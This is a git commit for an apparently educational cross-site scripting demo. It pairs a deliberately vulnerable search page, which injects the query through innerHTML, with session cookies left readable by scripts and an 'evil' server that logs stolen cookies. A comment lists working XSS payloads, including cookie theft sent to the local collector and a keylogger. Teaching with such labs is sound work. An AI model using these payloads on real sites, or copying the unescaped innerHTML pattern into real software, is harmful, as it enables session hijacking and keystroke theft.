Initial commit

Learn-by-doing · Oct 19, 2016 · 66e3a24 · 66e3a24
commit 66e3a24
Show file tree

Hide file tree

Showing 5 changed files with 142 additions and 0 deletions.
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,2 @@
+node_modules/
+
diff --git a/evil-server.js b/evil-server.js
@@ -0,0 +1,14 @@
+var express = require('express');
+var app = express();
+
+app.get('/cookie', function(req, res, next) {
+
+	console.log('GET /cookie');
+	console.log(req.query.cookie);
+
+	res.send('Thanks!');
+});
+
+app.listen(3001, function() {
+	console.log('"Evil" server listening at localhost:3001');
+});
diff --git a/package.json b/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "xss",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "dependencies": {
+    "express": "4.14.0",
+    "express-session": "1.14.1",
+    "serve-static": "1.11.1"
+  },
+  "devDependencies": {},
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC"
+}
diff --git a/public/index.html b/public/index.html
@@ -0,0 +1,89 @@
+<html>
+<head>
+	<title>Cross-Site Scripting (XSS)</title>
+</head>
+<body>
+
+	<form action="">
+		<input type="text" name="q">
+		<input type="submit" value="Search">
+	</form>
+
+	<div id="results"></div>
+
+	<script>
+
+		/*
+			Proof of concept:
+			<img src="does-not-exist" onerror="alert(\'hi\')">
+
+			Alert session cookie:
+			<img src="does-not-exist" onerror="alert(document.cookie)">
+
+			Steal session cookie:
+			<img src="does-not-exist" onerror="var img = document.createElement(\'img\'); img.src = \'http://localhost:3001/cookie?cookie=\' + document.cookie; document.querySelector(\'body\').appendChild(img);">
+
+			Keylogger:
+			<img src="does-not-exist" onerror="document.querySelector(\'body\').addEventListener(\'keydown\', function(event) { console.log(event.key); });">
+		*/
+
+		document.addEventListener('DOMContentLoaded', function() {
+
+			var q = getQueryParameter('q');
+
+			if (q) {
+
+				search(q, function(error, results) {
+
+					showQueryAndResults(q, results);
+				});
+			}
+		});
+
+		function search(q, callback) {
+
+			var results = [
+				'Result #1',
+				'Result #2',
+				'Result #3'
+			];
+
+			callback(null, results);
+		}
+
+		function showQueryAndResults(q, results) {
+
+			var html = '';
+
+			html += '<p>Your search query:</p>';
+			html += '<pre>' + q + '</pre>';
+			html += '<ul>';
+
+			for (var i = 0; i < results.length; i++) {
+				html += '<li>' + results[i] + '</li>';
+			}
+
+			html += '</ul>';
+
+			var resultsEl = document.querySelector('#results');
+			resultsEl.innerHTML = html;
+		}
+
+		function getQueryParameter(name) {
+
+			var pairs = window.location.search.substring(1).split('&');
+
+			for (var i = 0; i < pairs.length; i++) {
+
+				var pair = pairs[i].split('=');
+
+				if (decodeURIComponent(pair[0]) === name) {
+					return decodeURIComponent(pair[1]);
+				}
+			}
+
+			return false;
+		}
+	</script>
+</body>
+</html>
diff --git a/server.js b/server.js
@@ -0,0 +1,20 @@
+var express = require('express');
+var session = require('express-session');
+var serverStatic = require('serve-static');
+var app = express();
+
+app.use(serverStatic(__dirname + '/public'));
+
+app.use(session({
+	secret: 'some randomly generated secret',
+	resave: true,
+	saveUninitialized: true,
+	cookie: {
+		httpOnly: false,
+		secure: false
+	}
+}));
+
+app.listen(3000, function() {
+	console.log('Server listening at localhost:3000');
+});